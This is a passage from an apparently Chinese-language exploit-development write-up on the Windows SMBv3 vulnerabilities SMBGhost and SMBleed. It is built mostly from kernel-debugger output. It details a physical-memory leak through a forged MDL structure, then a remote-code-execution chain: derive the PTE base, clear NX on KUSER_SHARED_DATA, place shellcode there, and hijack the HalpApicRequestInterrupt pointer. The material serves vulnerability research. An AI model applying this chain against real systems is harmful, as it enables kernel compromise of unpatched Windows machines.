ffffcc0f`76fed220 00000000 00000000 00000000 00000000
ffffcc0f`76fed230 00000000 00000000 00000000 00000000
ffffcc0f`76fed240 00000000 00000000 00000000 00000000
ffffcc0f`76fed250 00000000 00000000 00000000 00000000
//flag以及物理頁pfn被設置
kd> p
srvnet!SrvNetAllocateBufferFromPool+0x1b5:
fffff806`2280d425 488b4f38 mov rcx,qword ptr [rdi+38h]
kd> dt _mdl ffffcc0f`76fed1e0
nt!_MDL
+0x000 Next : (null)
+0x008 Size : 0n88
+0x00a MdlFlags : 0n4
+0x00c AllocationProcessorNumber : 0
+0x00e Reserved : 0
+0x010 Process : (null)
+0x018 MappedSystemVa : 0xffffcc0f`76fe9050 Void
+0x020 StartVa : 0xffffcc0f`76fe9000 Void
+0x028 ByteCount : 0x4100
+0x02c ByteOffset : 0x50
kd> dd ffffcc0f`76fed1e0
ffffcc0f`76fed1e0 00000000 00000000 00040058 00000000
ffffcc0f`76fed1f0 00000000 00000000 76fe9050 ffffcc0f
ffffcc0f`76fed200 76fe9000 ffffcc0f 00004100 00000050
ffffcc0f`76fed210 00041099 00000000 00037d1a 00000000
ffffcc0f`76fed220 00037d9b 00000000 00039c9c 00000000
ffffcc0f`76fed230 00037d1d 00000000 00000000 00000000
ffffcc0f`76fed240 00000000 00000000 00000000 00000000
ffffcc0f`76fed250 00000000 00000000 00000000 00000000
//是正確的物理頁
kd> dd ffffcc0f`76fe9000
ffffcc0f`76fe9000 00000000 00000000 00000000 00000000
ffffcc0f`76fe9010 76fe9070 ffffcc0f 00000001 00000000
ffffcc0f`76fe9020 00000001 00000001 76fe9088 ffffcc0f
ffffcc0f`76fe9030 00000008 00000000 00000000 00000000
ffffcc0f`76fe9040 00000000 00000000 76fe90f8 ffffcc0f
ffffcc0f`76fe9050 00000290 00000000 76feb4d8 ffffcc0f
ffffcc0f`76fe9060 00000238 00000000 0000000c 00000000
ffffcc0f`76fe9070 00000018 00000001 eb004a11 11d49b1a
kd> !dd 41099000
#41099000 00000000 00000000 00000000 00000000
#41099010 76fe9070 ffffcc0f 00000001 00000000
#41099020 00000001 00000001 76fe9088 ffffcc0f
#41099030 00000008 00000000 00000000 00000000
#41099040 00000000 00000000 76fe90f8 ffffcc0f
#41099050 00000290 00000000 76feb4d8 ffffcc0f
#41099060 00000238 00000000 0000000c 00000000
#41099070 00000018 00000001 eb004a11 11d49b1a
物理地址讀
根據前面的介紹可知,SRVNET BUFFER HDR結構體中存放了兩個MDL結構(Memory Descriptor List,內存描述符列表)指針,分別位于其0x38和0x50偏移處,MDL維護緩沖區的物理地址信息,以下為某個請求結構的第一個MDL:
2: kd> dt _mdl poi(rax+38)
nt!_MDL
+0x000 Next : (null)
+0x008 Size : 0n64
+0x00a MdlFlags : 0n20484
+0x00c AllocationProcessorNumber : 0
+0x00e Reserved : 0
+0x010 Process : (null)
+0x018 MappedSystemVa : 0xffffae8d`0cfe3050 Void
+0x020 StartVa : 0xffffae8d`0cfe3000 Void
+0x028 ByteCount : 0x1100
+0x02c ByteOffset : 0x50
2: kd> dd poi(rax+38)
ffffae8d`0cfe41e0 00000000 00000000 50040040 00000000
ffffae8d`0cfe41f0 00000000 00000000 0cfe3050 ffffae8d
ffffae8d`0cfe4200 0cfe3000 ffffae8d 00001100 00000050
ffffae8d`0cfe4210 0004a847 00000000 00006976 00000000
ffffae8d`0cfe4220 00000000 00000000 00000000 00000000
ffffae8d`0cfe4230 00040040 00000000 00000000 00000000
ffffae8d`0cfe4240 00000000 00000000 0cfe3000 ffffae8d
ffffae8d`0cfe4250 00001100 00000050 00000000 00000000
0xFFFFAE8D0CFE3000映射自物理頁4A847 ,0xFFFFAE8D0CFE4000映射自物理頁6976。和上面MDL結構可以對應起來。
3: kd> !pte 0xffffae8d`0cfe3000
VA ffffae8d0cfe3000
PXE at FFFFF6FB7DBEDAE8 PPE at FFFFF6FB7DB5D1A0 PDE at FFFFF6FB6BA34338 PTE at FFFFF6D746867F18
contains 0A000000013BE863 contains 0A000000013C1863 contains 0A00000020583863 contains 8A0000004A847B63
pfn 13be ---DA--KWEV pfn 13c1 ---DA--KWEV pfn 20583 ---DA--KWEV pfn 4a847 CG-DA--KW-V
3: kd> !pte 0xffffae8d`0cfe4000
VA ffffae8d0cfe4000
PXE at FFFFF6FB7DBEDAE8 PPE at FFFFF6FB7DB5D1A0 PDE at FFFFF6FB6BA34338 PTE at FFFFF6D746867F20
contains 0A000000013BE863 contains 0A000000013C1863 contains 0A00000020583863 contains 8A00000006976B63
pfn 13be ---DA--KWEV pfn 13c1 ---DA--KWEV pfn 20583 ---DA--KWEV pfn 6976 CG-DA--KW-V
在Srv2DecompressData函數中,如果解壓失敗,就會調用SrvNetFreeBuffer,在這個函數中對不需要的緩沖區進行一些處理之后將其放回SrvNetBufferLookasides表,但沒有對User Buffer區域以及MDL相關數據進行處理,后面再用到的時候會直接取出來用(前面分析過),存在數據未初始化的隱患。如下所示,在nt!ExpInterlockedPushEntrySList函數被調用后,偽造了pMDL1指針的SRVNET BUFFER HDR結構體指針被放入SrvNetBufferLookasides。
//Srv2DecompressData
NTSTATUS Status = SmbCompressionDecompress(
Header->CompressionAlgorithm,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset,
(ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset),
(PUCHAR)Alloc->UserBuffer + Header->Offset,
Header->OriginalCompressedSegmentSize,
&FinalCompressedSize);
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}
3: kd> dq poi(poi(SrvNetBufferLookasides)+20)
ffffae8d`0bbb54c0 ffffae8d`0bbddbc0 ffffae8d`0bbdd980
ffffae8d`0bbb54d0 ffffae8d`0bbdd7c0 ffffae8d`0bbdd640
ffffae8d`0bbb54e0 ffffae8d`0bbdd140 0005d2a7`00000014
ffffae8d`0bbb54f0 0002974b`0003d3e0 00000064`00005000
ffffae8d`0bbb5500 52777445`0208f200 0006f408`0006f3f3
ffffae8d`0bbb5510 ffffae8d`0586bb58 ffffae8d`0bbb5f10
ffffae8d`0bbb5520 ffffae8d`0bbb5520 ffffae8d`0bbb5520
ffffae8d`0bbb5530 ffffae8d`0586bb20 00000000`00000000
3: kd> p
srvnet!SrvNetFreeBuffer+0x18b:
fffff800`494758ab ebcf jmp srvnet!SrvNetFreeBuffer+0x15c (fffff800`4947587c)
3: kd> dq ffffae8d`0bbdd140
ffffae8d`0bbdd140 00000000`00130002 ffffae8d`0dbf6150
ffffae8d`0bbdd150 0000001a`01000004 00000013`0000000d
ffffae8d`0bbdd160 00000200`00000000 00001100`3030534c
ffffae8d`0bbdd170 fffff800`4947d600 fffff800`4947d590
ffffae8d`0bbdd180 ffffae8d`0bbdd9c0 ffffae8d`08302ac0
ffffae8d`0bbdd190 00000009`00000016 00000000`00000000
ffffae8d`0bbdd1a0 ffffae8d`0bbddbc0 00000000`00000000
ffffae8d`0bbdd1b0 00000000`00000001 00000000`00000000
3: kd> dq ffffae8d`0dbf6150 //假設偽造了pmdl1指針
ffffae8d`0dbf6150 ffffae8d`0a771150 cdcdcdcd`cdcdcdcd
ffffae8d`0dbf6160 00000003`00000000 ffffae8d`0dbf5050
ffffae8d`0dbf6170 00000000`00001100 00000000`00001278
ffffae8d`0dbf6180 ffffae8d`0dbf5000 fffff780`00000e00
ffffae8d`0dbf6190 00000000`00000000 00000000`00000000
ffffae8d`0dbf61a0 ffffae8d`0dbf6228 00000000`00000000
ffffae8d`0dbf61b0 00000000`00000000 00000000`00000000
ffffae8d`0dbf61c0 00000000`00000000 00000000`00000000
ricercasecurity文章中提示可通過偽造MDL結構(設置后面的物理頁pfn)來泄露物理內存。在后續處理某些請求時,會從SrvNetBufferLookasides表中取出緩沖區來存放數據,因而數據包有概率分配在被破壞的緩沖區上,由于網卡驅動最終會依賴DMA(Direct Memory Access,直接內存訪問)來傳輸數據包,因而偽造的MDL結構可控制讀取有限的數據。如下所示,Smb2ExecuteNegotiateReal函數在處理SMB協商的過程中又從SrvNetBufferLookasides中獲取到了被破壞的緩沖區,其pMDL1指針已經被覆蓋為偽造的MDL結構地址0xfffff78000000e00,該結構偏移0x30處的物理頁被指定為0x1aa。
3: kd> dd fffff78000000e00 //偽造的MDL結構
fffff780`00000e00 00000000 00000000 50040040 0b470280
fffff780`00000e10 00000000 00000000 00000050 fffff780
fffff780`00000e20 00000000 fffff780 00001100 00000008
fffff780`00000e30 000001aa 00000000 00000001 00000000
3: kd> k
# Child-SP RetAddr Call Site
00 ffffd700`634cf870 fffff800`494767de nt!ExpInterlockedPopEntrySListResume+0x7
01 ffffd700`634cf880 fffff800`44d24de6 srvnet!SrvNetAllocateBuffer+0x9e
02 ffffd700`634cf8d0 fffff800`44d3d584 srv2!Srv2AllocateResponseBuffer+0x1e
03 ffffd700`634cf900 fffff800`44d29a9f srv2!Smb2ExecuteNegotiateReal+0x185f4
04 ffffd700`634cfad0 fffff800`44d2989a srv2!RfspThreadPoolNodeWorkerProcessWorkItems+0x13f
05 ffffd700`634cfb50 fffff800`457d9037 srv2!RfspThreadPoolNodeWorkerRun+0x1ba
06 ffffd700`634cfbb0 fffff800`45128ce5 nt!IopThreadStart+0x37
07 ffffd700`634cfc10 fffff800`452869ca nt!PspSystemThreadStartup+0x55
08 ffffd700`634cfc60 00000000`00000000 nt!KiStartSystemThread+0x2a
3: kd>
srv2!Smb2ExecuteNegotiateReal+0x592:
fffff800`44d25522 498b86f8000000 mov rax,qword ptr [r14+0F8h]
3: kd>
srv2!Smb2ExecuteNegotiateReal+0x599:
fffff800`44d25529 488b5818 mov rbx,qword ptr [rax+18h]
3: kd> dd rax //被破壞了的pmdl1指針
ffffae8d`0cfce150 00000000 00000000 005c0073 00750050
ffffae8d`0cfce160 00000002 00000003 0cfcd050 ffffae8d
ffffae8d`0cfce170 00001100 000000c4 00001278 00650076
ffffae8d`0cfce180 0cfcd000 ffffae8d 00000e00 fffff780
ffffae8d`0cfce190 00000000 006f0052 00000000 00000000
ffffae8d`0cfce1a0 0cfce228 ffffae8d 00000000 00000000
ffffae8d`0cfce1b0 00000000 00450054 0050004d 0043003d
ffffae8d`0cfce1c0 005c003a 00730055 00720065 005c0073
在后續數據傳輸過程中會調用hal!HalBuildScatterGatherListV2函數,其會利用MDL結構中的PFN、ByteOffset以及ByteCount來設置_SCATTER_GATHER_ELEMENT結構。然后調用TRANSMIT::MiniportProcessSGList函數(位于e1i65x64.sys,網卡驅動,測試環境)直接傳送數據,該函數第三個參數為_SCATTER_GATHER_LIST類型,其兩個 _SCATTER_GATHER_ELEMENT結構分別指明了0x3d942c0 和 0x1aa008 (物理地址),如下所示,當函數執行完成后,0x1aa物理頁的部分數據被泄露。其中,0x1aa008來自于偽造的MDL結構,計算過程為:(0x1aa << c) + 8。
1: kd> dd r8
ffffae8d`0b454ca0 00000002 ffffae8d 00000001 00000000
ffffae8d`0b454cb0 03d942c0 00000000 00000100 ffffae8d
ffffae8d`0b454cc0 00000000 00000260 001aa008 00000000
ffffae8d`0b454cd0 00000206 00000000 00640064 00730069
1: kd> dt _SCATTER_GATHER_LIST @r8
hal!_SCATTER_GATHER_LIST
+0x000 NumberOfElements : 2
+0x008 Reserved : 1
+0x010 Elements : [0] _SCATTER_GATHER_ELEMENT
1: kd> dt _SCATTER_GATHER_ELEMENT ffffae8d`0b454cb0
hal!_SCATTER_GATHER_ELEMENT
+0x000 Address : _LARGE_INTEGER 0x3d942c0
+0x008 Length : 0x100
+0x010 Reserved : 0x00000260`00000000
1: kd> dt _SCATTER_GATHER_ELEMENT ffffae8d`0b454cb0+18
hal!_SCATTER_GATHER_ELEMENT
+0x000 Address : _LARGE_INTEGER 0x1aa008
+0x008 Length : 0x206
+0x010 Reserved : 0x00730069`00640064
1: kd> !db 0x3d9438a l100
# 3d9438a 00 50 56 c0 00 08 00 0c-29 c9 e3 5d 08 00 45 00 .PV.....)..]..E.
# 3d9439a 02 2e 45 8c 00 00 80 06-00 00 c0 a8 8c 8a c0 a8 ..E.............
# 3d943aa 8c 01 01 bd df c4 e1 1c-22 7e c3 d1 b7 0d 50 18 ........"~....P.
# 3d943ba 20 14 9b fd 00 00 c3 d1-b7 0d 00 00 00 00 00 00 ...............
1: kd> !dd 0x1aa008
# 1aa008 00000000 00000000 00000000 00000000
# 1aa018 00000000 00000000 00000000 00000000
# 1aa028 00000000 00000000 00000000 00000000
# 1aa038 00000000 00000000 00000000 00000000
# 1aa048 00000000 00000000 00000000 00000000
# 1aa058 00000000 00000000 00000000 00000000
# 1aa068 00000000 00000000 00000000 00000000
# 1aa078 00000000 00000000 00000000 00000000

正常的響應包應該是以下這個樣子的,這次通過查看MiniportProcessSGList函數第四個參數(_NET_BUFFER類型)來驗證,如下所示,此次MDL結構中維護的物理地址(0x4a84704c)和線性地址(0xffffae8d0cfe304c)是一致的:
3: kd> dt _NET_BUFFER @r9
ndis!_NET_BUFFER
+0x000 Next : (null)
+0x008 CurrentMdl : 0xffffae8d`0ca6ac50 _MDL
+0x010 CurrentMdlOffset : 0xca
+0x018 DataLength : 0x23c
+0x018 stDataLength : 0x00010251`0000023c
+0x020 MdlChain : 0xffffae8d`0ca6ac50 _MDL
+0x028 DataOffset : 0xca
+0x000 Link : _SLIST_HEADER
+0x000 NetBufferHeader : _NET_BUFFER_HEADER
+0x030 ChecksumBias : 0
+0x032 Reserved : 5
+0x038 NdisPoolHandle : 0xffffae8d`08304900 Void
+0x040 NdisReserved : [2] 0xffffae8d`0c2e19a0 Void
+0x050 ProtocolReserved : [6] 0x00000206`00000100 Void
+0x080 MiniportReserved : [4] (null)
+0x0a0 DataPhysicalAddress : _LARGE_INTEGER 0xff0201cb`ff0201cd
+0x0a8 SharedMemoryInfo : (null)
+0x0a8 ScatterGatherList : (null)
3: kd> dx -id 0,0,ffffae8d05473040 -r1 ((ndis!_MDL *)0xffffae8d0ca6ac50)
((ndis!_MDL *)0xffffae8d0ca6ac50) : 0xffffae8d0ca6ac50 [Type: _MDL *]
[+0x000] Next : 0xffffae8d0850d690 [Type: _MDL *]
[+0x008] Size : 56 [Type: short]
[+0x00a] MdlFlags : 4 [Type: short]
[+0x00c] AllocationProcessorNumber : 0x2e7 [Type: unsigned short]
[+0x00e] Reserved : 0xff02 [Type: unsigned short]
[+0x010] Process : 0x0 [Type: _EPROCESS *]
[+0x018] MappedSystemVa : 0xffffae8d0ca6ac90 [Type: void *]
[+0x020] StartVa : 0xffffae8d0ca6a000 [Type: void *]
[+0x028] ByteCount : 0x100 [Type: unsigned long]
[+0x02c] ByteOffset : 0xc90 [Type: unsigned long]
3: kd> dx -id 0,0,ffffae8d05473040 -r1 ((ndis!_MDL *)0xffffae8d0850d690)
((ndis!_MDL *)0xffffae8d0850d690) : 0xffffae8d0850d690 [Type: _MDL *]
[+0x000] Next : 0x0 [Type: _MDL *]
[+0x008] Size : 56 [Type: short]
[+0x00a] MdlFlags : 16412 [Type: short]
[+0x00c] AllocationProcessorNumber : 0x3 [Type: unsigned short]
[+0x00e] Reserved : 0x0 [Type: unsigned short]
[+0x010] Process : 0x0 [Type: _EPROCESS *]
[+0x018] MappedSystemVa : 0xffffae8d0cfe304c [Type: void *]
[+0x020] StartVa : 0xffffae8d0cfe3000 [Type: void *]
[+0x028] ByteCount : 0x206 [Type: unsigned long]
[+0x02c] ByteOffset : 0x4c [Type: unsigned long]
3: kd> db 0xffffae8d0cfe304c
ffffae8d`0cfe304c 00 00 02 02 fe 53 4d 42-40 00 00 00 00 00 00 00 .....SMB@.......
ffffae8d`0cfe305c 00 00 01 00 01 00 00 00-00 00 00 00 00 00 00 00 ................
ffffae8d`0cfe306c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffae8d`0cfe307c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffae8d`0cfe308c 00 00 00 00 41 00 01 00-11 03 02 00 66 34 fa 05 ....A.......f4..
ffffae8d`0cfe309c 30 97 9d 49 88 48 f5 78-47 ea 04 38 2f 00 00 00 0..I.H.xG..8/...
ffffae8d`0cfe30ac 00 00 80 00 00 00 80 00-00 00 80 00 02 6b 83 89 .............k..
ffffae8d`0cfe30bc 4b 8b d6 01 00 00 00 00-00 00 00 00 80 00 40 01 K.............@.
3: kd> !db 0x4a84704c
#4a84704c 00 00 02 02 fe 53 4d 42-40 00 00 00 00 00 00 00 .....SMB@.......
#4a84705c 00 00 01 00 01 00 00 00-00 00 00 00 00 00 00 00 ................
#4a84706c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
#4a84707c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
#4a84708c 00 00 00 00 41 00 01 00-11 03 02 00 66 34 fa 05 ....A.......f4..
#4a84709c 30 97 9d 49 88 48 f5 78-47 ea 04 38 2f 00 00 00 0..I.H.xG..8/...
#4a8470ac 00 00 80 00 00 00 80 00-00 00 80 00 02 6b 83 89 .............k..
#4a8470bc 4b 8b d6 01 00 00 00 00-00 00 00 00 80 00 40 01 K.............@.

漏洞利用流程
1.通過任意地址寫偽造MDL結構
2.利用解壓縮精準覆蓋pMDL1指針,使得壓縮數據正好可以解壓出偽造的MDL結構地址,但要控制解壓失敗,避免不必要的后續復制操作覆蓋掉重要數據
3.利用前兩步讀取1aa(1ad)頁,尋找自索引值,根據這個值計算PTE base
4.根據PTE BASE和KUSER_SHARED_DATA的虛擬地址計算出該地址的PTE,修改KUSER_SHARED_DATA區域的可執行權限
5.將Shellcode通過任意地址寫復制到0xfffff78000000800(屬于KUSER_SHARED_DATA)
6.獲取halpInterruptController指針以及hal!HalpApicRequestInterrupt指針,利用任意地址寫將hal!HalpApicRequestInterrupt指針覆蓋為Shellcode地址,將halpInterruptController指針復制到已知區域(以便Shellcode可以找到hal!HalpApicRequestInterrupt函數地址并將halpInterruptController偏移0x78處的該函數指針還原)。hal!HalpApicRequestInterrupt函數是系統一直會調用的函數,劫持了它就等于劫持了系統執行流程。
計算 PTE BASE: 使用物理地址讀泄露1aa頁的數據(測試虛擬機采用BIOS引導),找到其自索引,通過(index << 39) | 0xFFFF000000000000得到PTE BASE。如下例所示:1aa頁自索引為479(0x1DF),因而PTE BASE為(0x1DF << 39) | 0xFFFF000000000000 = 0xFFFFEF8000000000。
0: kd> !dq 1aa000 l1df+1
# 1aa000 8a000000`0de64867 00000000`00000000
# 1aa010 00000000`00000000 00000000`00000000
# 1aa020 00000000`00000000 00000000`00000000
# ......
# 1aaed0 0a000000`013b3863 00000000`00000000
# 1aaee0 00000000`00000000 00000000`00000000
# 1aaef0 00000000`00000000 80000000`001aa063
1: kd> ?(0x1DF << 27) | 0xFFFF000000000000
Evaluate expression: -18141941858304 = ffffef80`00000000
計算 KUSER_SHARED_DATA 的 PTE: 通過 PTE BASE 和 KUSER_SHARED_DATA 的 VA 可以算出KUSER_SHARED_DATA 的 PTE,2017年黑客大會的一篇 PDF 里有介紹。計算過程實際是來源于ntoskrnl.exe中的MiGetPteAddress函數,如下所示,其中0xFFFFF68000000000為未隨機化時的PTE BASE,但自Windows 10 1607起 PTE BASE 被隨機化,不過幸運的是,這個值可以從MiGetPteAddress函數偏移0x13處獲取,系統運行后會將隨機化的基址填充到此處(后面一種思路用了這個):
.text:00000001400F1D28 MiGetPteAddress proc near ; CODE XREF: MmInvalidateDumpAddresses+1B↓p
.text:00000001400F1D28 ; MiResidentPagesForSpan+1B↓p ...
.text:00000001400F1D28 shr rcx, 9
.text:00000001400F1D2C mov rax, 7FFFFFFFF8h
.text:00000001400F1D36 and rcx, rax
.text:00000001400F1D39 mov rax, 0FFFFF68000000000h
.text:00000001400F1D43 add rax, rcx
.text:00000001400F1D46 retn
.text:00000001400F1D46 MiGetPteAddress endp
1: kd> u MiGetPteAddress
nt!MiGetPteAddress:
fffff802`045add28 48c1e909 shr rcx,9
fffff802`045add2c 48b8f8ffffff7f000000 mov rax,7FFFFFFFF8h
fffff802`045add36 4823c8 and rcx,rax
fffff802`045add39 48b80000000080efffff mov rax,0FFFFEF8000000000h
fffff802`045add43 4803c1 add rax,rcx
fffff802`045add46 c3 ret
fffff802`045add47 cc int 3
fffff802`045add48 cc int 3
在獲取了PTE BASE之后可按照以上流程計算某地址的PTE,按照上面的代碼計算FFFFF7800000000(KUSER_SHARED_DATA 的起始地址)的PTE為:((FFFFF78000000000 >> 9 ) & 7FFFFFFFF8) + 0xFFFFEF8000000000 = 0xFFFFEFFBC0000000,對比如下輸出可知,我們已經成功計算出了FFFFF7800000000對應的PTE。
0: kd> !pte fffff78000000000
VA fffff78000000000
PXE at FFFFEFF7FBFDFF78 PPE at FFFFEFF7FBFEF000 PDE at FFFFEFF7FDE00000 PTE at FFFFEFFBC0000000
contains 0000000001300063 contains 0000000001281063 contains 0000000001782063 contains 00000000013B2963
pfn 1300 ---DA--KWEV pfn 1281 ---DA--KWEV pfn 1782 ---DA--KWEV pfn 13b2 -G-DA--KWEV
去NX標志位: 知道了目標地址的PTE( 0xFFFFEFFBC0000000),就可以為其去掉NX標志,這樣就可以在這個區域執行代碼了,思路是利用任意地址寫將PTE指向的地址的 NoExecute 標志位修改為0。
2: kd> db ffffeffb`c0000006
ffffeffb`c0000006 00 80 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0: kd> db FFFFEFFBC0000000+6 //修改后
ffffeffb`c0000006 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1: kd> dt _MMPTE_HARDWARE FFFFEFFBC0000000
nt!_MMPTE_HARDWARE
+0x000 Valid : 0y1
+0x000 Dirty1 : 0y1
+0x000 Owner : 0y0
+0x000 WriteThrough : 0y0
+0x000 CacheDisable : 0y0
+0x000 Accessed : 0y1
+0x000 Dirty : 0y1
+0x000 LargePage : 0y0
+0x000 Global : 0y1
+0x000 CopyOnWrite : 0y0
+0x000 Unused : 0y0
+0x000 Write : 0y1
+0x000 PageFrameNumber : 0y000000000000000000000001001110110010 (0x13b2)
+0x000 ReservedForHardware : 0y0000
+0x000 ReservedForSoftware : 0y0000
+0x000 WsleAge : 0y0000
+0x000 WsleProtection : 0y000
+0x000 NoExecute : 0y1
0: kd> dt _MMPTE_HARDWARE FFFFEFFBC0000000 //修改后
nt!_MMPTE_HARDWARE
+0x000 Valid : 0y1
+0x000 Dirty1 : 0y1
+0x000 Owner : 0y0
+0x000 WriteThrough : 0y0
+0x000 CacheDisable : 0y0
+0x000 Accessed : 0y1
+0x000 Dirty : 0y1
+0x000 LargePage : 0y0
+0x000 Global : 0y1
+0x000 CopyOnWrite : 0y0
+0x000 Unused : 0y0
+0x000 Write : 0y1
+0x000 PageFrameNumber : 0y000000000000000000000001001110110010 (0x13b2)
+0x000 ReservedForHardware : 0y0000
+0x000 ReservedForSoftware : 0y0000
+0x000 WsleAge : 0y0000
+0x000 WsleProtection : 0y000
+0x000 NoExecute : 0y0
尋找HAL: HAL堆是在HAL.DLL引導過程中創建的,HAL堆上存放了HalpInterruptController(目前也是隨機化的),其中保存了一些函數指針,其偏移0x78處存放了hal!HalpApicRequestInterrupt函數指針。這個函數和中斷相關,會被系統一直調用,所以可通過覆蓋這個指針劫持執行流程。
0: kd> dq poi(hal!HalpInterruptController)
fffff7e6`80000698 fffff7e6`800008f0 fffff802`04486e50
fffff7e6`800006a8 fffff7e6`800007f0 00000000`00000030
fffff7e6`800006b8 fffff802`04422d80 fffff802`04421b90
fffff7e6`800006c8 fffff802`04422520 fffff802`044226e0
fffff7e6`800006d8 fffff802`044226b0 00000000`00000000
fffff7e6`800006e8 fffff802`044223c0 00000000`00000000
fffff7e6`800006f8 fffff802`04454560 fffff802`04432770
fffff7e6`80000708 fffff802`04421890 fffff802`0441abb0
0: kd> u fffff802`0441abb0
hal!HalpApicRequestInterrupt:
fffff802`0441abb0 48896c2420 mov qword ptr [rsp+20h],rbp
fffff802`0441abb5 56 push rsi
fffff802`0441abb6 4154 push r12
fffff802`0441abb8 4156 push r14
fffff802`0441abba 4883ec40 sub rsp,40h
fffff802`0441abbe 488bb42480000000 mov rsi,qword ptr [rsp+80h]
fffff802`0441abc6 33c0 xor eax,eax
fffff802`0441abc8 4532e4 xor r12b,r12b
可通過遍歷物理頁找到HalpInterruptController地址,如下所示,在虛擬機調試環境下該地址位于第一個物理頁。在獲得這個地址后,可通過0x78偏移找到alpApicRequestInterrupt函數指針地址,覆蓋這個地址為Shellcode地址0xfffff78000000800,等待劫持執行流程。
1: kd> !dq 1000
# 1000 00000000`00000000 00000000`00000000
# 1010 00000000`01010600 00000000`00000000
# ......
# 18f0 fffff7e6`80000b20 fffff7e6`80000698
# 1900 fffff7e6`80000a48 00000000`00000004
Shellcode復制&&執行: 通過任意地址寫將Shellcode復制到0xfffff78000000800,等待“alpApicRequestInterrupt函數”被調用。
0: kd> g
Breakpoint 0 hit
fffff780`00000800 55 push rbp
0: kd> k
# Child-SP RetAddr Call Site
00 fffff800`482b24c8 fffff800`450273a0 0xfffff780`00000800
01 fffff800`482b24d0 fffff800`4536c4b8 hal!HalSendNMI+0x330
02 fffff800`482b2670 fffff800`4536bbee nt!KiSendFreeze+0xb0
03 fffff800`482b26d0 fffff800`45a136ac nt!KeFreezeExecution+0x20e
04 fffff800`482b2800 fffff800`45360811 nt!KdEnterDebugger+0x64
05 fffff800`482b2830 fffff800`45a17105 nt!KdpReport+0x71
06 fffff800`482b2870 fffff800`451bbbf0 nt!KdpTrap+0x14d
07 fffff800`482b28c0 fffff800`451bb85f nt!KdTrap+0x2c
08 fffff800`482b2900 fffff800`45280202 nt!KiDispatchException+0x15f
SMBGhost&&SMBleed遠程代碼執行
Zecops利用思路的靈魂是通過判斷LZNT1解壓是否成功來泄露單個字節,有點爆破的意思在里面。
LZNT1解壓特性
通過逆向可以發現LZNT1壓縮數據由壓縮塊組成,每個壓縮塊有兩個字節的塊頭部,通過最高位是否設置可判斷該塊是否被壓縮,其與0xFFF相與再加3(2字節的chunk header+1字節的flag)為這個壓縮塊的長度。每個壓縮塊中有若干個小塊,每個小塊開頭都有存放標志的1字節數據。該字節中的每個比特控制后面的相應區域,是直接復制(0)還是重復復制(1)。

這里先舉個后面會用到的例子,如下所示。解壓時首先取出2個字節的塊頭部0xB007,0xB007&0xFFF+3=0xa,所以這個塊的大小為10,就是以下這10個字節。然后取出標志字節0x14,其二進制為00010100,對應了后面的8項數據,如果相應的比特位為0,就直接將該字節項復制到待解壓緩沖區,如果相應比特位為1,表示數據有重復,從相應的偏移取出兩個字節數據,根據環境計算出復制的源地址和復制的長度。

由于0x14的前兩個比特為0,b0 00 直接復制到目標緩沖區,下一個比特位為1,則取出0x007e,復制0x7e+3(0x81)個 00 到目標緩沖區,然后下一個比特位是0,復制ff到目標緩沖區,下個比特位為1,所以又取出0x007c,復制0x7c+3(0x7f)個 FF 到目標緩沖區,由于此時已走到邊界點,對該壓縮塊的解壓結束。以下為解壓結果:
kd> db ffffa508`31ac115e lff+3+1
ffffa508`31ac115e b0 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac116e 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac117e 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac118e 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac119e 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac11ae 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac11be 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac11ce 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac11de 00 00 00 ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac11ee ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac11fe ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac120e ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac121e ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac122e ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac123e ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac124e ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac125e ff ff ff ...
Zecops在文章中提出可通過向目標發送壓縮測試數據并檢測該連接是否斷開來判斷是否解壓失敗,如果解壓失敗,則連接斷開,而利用LZNT1解壓的特性可通過判斷解壓成功與否來泄露1字節數據。下面來總結解壓成功和解壓失敗的模式。
00 00 模式: 文中提示LZNT1壓縮數據可以 00 00 結尾(類似于以NULL終止的字符串,可選的)。如下所示,當讀取到的長度為0時跳出循環,在比較了指針沒有超出邊界之后,正常退出函數。
// RtlDecompressBufferLZNT1
v11 = *(_WORD *)compressed_data_point;
if ( !*(_WORD *)compressed_data_point )
break;
......
}
v17 = *(_DWORD **)&a6;
if ( compressed_data_point <= compressed_data_boundary )
{
**(_DWORD **)&a6 = (_DWORD)decompress_data_p2 - decompress_data_p1;
goto LABEL_15;
}
LABEL_32:
v10 = 0xC0000242; // 錯誤流程
*v17 = (_DWORD)compressed_data_point;
LABEL_15:
if ( _InterlockedExchangeAdd((volatile signed __int32 *)&v23, 0xFFFFFFFF) == 1 )
KeSetEvent(&Event, 0, 0);
KeWaitForSingleObject(&Event, Executive, 0, 0, 0i64);
if ( v10 >= 0 && v23 < 0 )
v10 = HIDWORD(v23);
